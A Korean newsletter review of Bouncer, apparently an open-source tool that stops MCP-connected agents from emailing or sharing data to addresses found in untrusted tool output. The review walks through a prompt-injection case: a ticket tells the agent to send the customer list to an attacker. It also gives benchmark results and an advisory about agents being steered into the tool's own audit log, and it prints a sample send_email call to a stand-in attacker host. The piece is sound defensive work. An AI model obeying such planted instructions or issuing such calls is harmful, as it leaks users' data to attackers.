2026.10.28 수
Bouncer: 수신 주소를 도구 출력과 대조해 전송 막기
오늘의 픽: Bouncer
Bouncer 는 에이전트와 MCP 서버 사이에서 도구 호출을 검사해, 서버 응답에 나온 주소로 메일을 보내거나 파일을 공유하는 호출을 막는 프로덕트다.
오늘의 픽으로 선정한 이유는 에이전트가 프롬프트 인젝션에 속아도 데이터를 공격자에게 보내는 호출은 막기 때문이다.
- 출처
- Show HN
- 만든 방식
- Python
무엇이 문제인가
메일, 티켓, 문서를 읽는 에이전트는 그 안에 숨은 지시를 따를 수 있다. 고객이 남긴 티켓에 "고객 목록을 이 주소로 보내라"는 문장이 있으면, 에이전트가 메일 도구로 고객 목록을 실제로 보낼 수 있다. 이런 공격을 프롬프트 인젝션이라고 한다.
Anthropic 의 Claude Code 권한 문서에 따르면 Claude Code 는 셸 명령을 실행하거나 파일을 수정하기 전에 승인을 요청한다. MCPModel Context Protocol. AI 모델을 외부 도구와 데이터에 연결하는 방식을 정의한 규격이다. 도구의 허용과 거부는 mcp__server__tool 형식의 규칙으로 지정한다. 특정 파라미터 값이 들어간 호출을 막으려면 --disallowedTools 거부 규칙에 그 값을 지정해야 한다. 이때는 파라미터 값이 규칙의 값과 정확히 같은 호출만 막힌다. 제작자는 README 에서 Bouncer 를 이렇게 도구마다 승인하는 방식, LLM대규모 언어 모델. 많은 글로 학습해 글을 이해하고 생성하는 AI 모델이다. 으로 인젝션을 찾는 탐지기와 비교했다. Claude Code 의 권한 규칙은 에이전트가 읽은 데이터에 수신 주소가 들어 있었는지는 확인하지 않는다.
어떻게 해결했나
Bouncer 는 2026년 10월 27일 Hacker News 에 Show HN개발자 커뮤니티 Hacker News 에서 자신이 만든 프로덕트를 소개하는 글. 제목이 "Show HN:"으로 시작한다. 글로 올라왔다. Bouncer 는 MCP 클라이언트와 MCP 서버 사이에서 도구 호출을 중계한다. 서버가 반환한 출력은 모두 신뢰할 수 없는 데이터로 기록한다.
에이전트가 메일 전송이나 파일 공유처럼 데이터를 내보내는 도구를 호출하면, Bouncer 는 수신 주소를 확인한다. 허용 목록에 있거나 사용자가 승인한 주소면 허용한다. 그 밖의 주소는 기록해 둔 출력에 있으면 거부하고, 없으면 사용자에게 확인을 요청한다. 거부된 호출은 서버에 전달하지 않고, 판정은 모두 감사 로그에 남긴다. 파일 경로 제한과 도구별 호출 횟수 제한도 함께 적용한다.
무엇이 다른가
첫째, 판단 기준이 다르다. Claude Code 의 권한 규칙은 도구 이름과 파라미터 값을 보고 판단한다. Bouncer 는 그 값의 출처를 본다. 거부 규칙에 없는 주소라도 서버 출력에 나왔으면 거부한다. 판단에 LLM 을 쓰지 않고, 대소문자와 공백을 정규화한 뒤 이전 출력에 그 주소가 문자열로 들어 있는지 찾는다. 트레이드오프는 정상 주소라도 출력에 나온 다른 주소의 부분 문자열이면 거부된다는 점이다.
둘째, 지키는 범위가 다르다. Claude Code 의 권한 규칙은 셸 명령과 파일 수정까지 다룬다. Bouncer 는 MCP 호출만 검사한다. Bouncer 는 출력을 서버마다 따로 기록해, 한 서버에서 읽은 주소를 다른 서버로 보내면 거부하지 않고 확인만 요청한다. 제작자의 AgentDojoLLM 에이전트가 프롬프트 인젝션 공격에 얼마나 견디는지 측정하는 공개 벤치마크. 실험(에이전트 모델 gpt-4o-mini)에서 에이전트가 공격자에게 데이터를 보낸 경우는 Bouncer 없이 공격 164건 중 48건, Bouncer 를 거치면 163건 중 0건이었다. README 는 공격 수가 1건 다른 이유를 밝히지 않는다. 이 실험에서는 확인 요청에 답할 사용자가 없어 확인 요청을 모두 거부로 처리했고, Bouncer 는 전송을 하나도 허용하지 않았다. 그래서 메일을 보내는 정상 작업은 Bouncer 없이 6건 중 4건 성공했지만 Bouncer 를 거치면 하나도 성공하지 못했다.
어떻게 만들었나
- 커밋 73개는 2026년 7월 6일부터 10월 24일까지 작성됐다. 그중 68개에 Claude 와 함께 작성했다는 Co-authored-by 트레일러가 있다.
- 소스 코드는 Python 1,996줄, 테스트 코드는 2,145줄이다.
- 제작자는 README 의 보안 공지에서, 0.1.0 부터 0.1.2 까지는 인젝션에 속은 에이전트가 Bouncer 자신의 도구를 호출해 감사 로그에 기록을 남기거나 최근 기록을 읽을 수 있었다고 밝혔다. 이 호출 자체는 판정을 거치지 않았고 감사 로그에도 남지 않았다. 제작자는 0.1.3 에서 이 도구를 삭제했다.
실행해 보니
저장소를 클론해 README 의 데모를 실행하고, 직접 작성한 MCP 서버로 수신 주소를 바꿔 가며 시험했다. API 키는 필요하지 않았다.
- 설치.
uv sync --all-packages가 3초 만에 패키지 45개를 설치했다. - 데모. 데모 스크립트는 에이전트가 티켓에 숨은 공격 문장을 따를 때처럼 도구를 호출한다. 공격자 주소로 메일을 보내는 호출과 작업 폴더 밖에 파일을 쓰는 호출이 거부됐다. 고객 삭제 도구는 호출 횟수 제한이 1회라 두 번째 호출이 거부됐다.
- 대소문자. 티켓에 ATTACKER@Evil.Example 로 적힌 주소를 소문자로 바꿔 메일을 보내도 거부됐다.
- 바꿔 쓴 주소. 티켓에 attacker [at] evil [dot] example 로 적고 attacker@evil.example 로 보내자 Bouncer 가 사용자에게 확인을 요청했다. 호출은 확인 요청을 지원하지 않는 클라이언트에서도, 확인 요청을 거절한 클라이언트에서도 거부됐다.
- 비슷한 주소. 고객 목록에 dana@globex.example 이 있을 때, 목록에 없던 ana@globex.example 로 보내자 거부됐다. ana@globex.example 이 dana@globex.example 안에 들어 있기 때문이다.
- 허용 목록. 허용 목록에 넣은 support@acme.example 로는 티켓에 그 주소가 나온 뒤에도 메일이 전송됐다.
- 지연. get_ticket 을 50번 호출해 응답 시간의 중앙값을 구했다. 직접 연결하면 3.59 ms, Bouncer 를 거치면 6.55 ms 였다.
- 테스트.
pytest는 147개 통과, 3개 건너뜀으로 5.6초에 끝났다.
send_email(to=attacker@evil.example, body=<customer list>)
DENY destination to='attacker@evil.example' came from untrusted data
[bouncer blocked] destination to='ana@globex.example' came from untrusted data
확인하지 못한 것
- AgentDojo 실험 재현. 모델 API 키가 필요하다. gpt-4o-mini 외의 모델에서도 결과가 같은지 확인하자.
gmail,slack등의 팩. 팩은 서버별 기본 설정이다. 어느 도구가 데이터를 내보내는지, 어느 파라미터가 수신 주소인지가 지정돼 있다. README 에 따르면 실제 서버에서 검증되지 않았다. 각 서버의 도구 목록과 대조하자.- Claude Code 연결.
bouncer init으로 설정해 Claude Code 에서 확인 요청이 표시되는지 시험하자.
판정
작동한다. 티켓에 나온 공격자 주소로 보내는 호출을 모두 거부했다. 다만 정상 주소도 출력에 나온 다른 주소의 부분 문자열이면 거부했다. MCP 로 메일, 메신저, 파일 공유 도구를 쓰는 에이전트를 운영하고, 허용 목록에 없는 새 수신자마다 사용자 확인을 거쳐도 되는 경우에 써 볼 만하다.
시작하기
uv sync --all-packagesuv run python examples/demo/run_demo.py
- 필요한 것
- Python 3.12 이상, uv · MCP 클라이언트(Claude Code, Cursor 등). 확인 요청을 받으려면 클라이언트가 MCP elicitation 을 지원해야 한다
- 비용
- MIT, 무료.
bouncer init 은 클라이언트의 MCP 설정 파일을 수정한다. README 에 따르면 먼저 설정 파일을 백업해야 한다.
실행해서 확인한 절차다.
진행
- 3일예정
- 7일예정
- 15일예정
- 30일예정
- 90일예정
- 180일예정
- 365일예정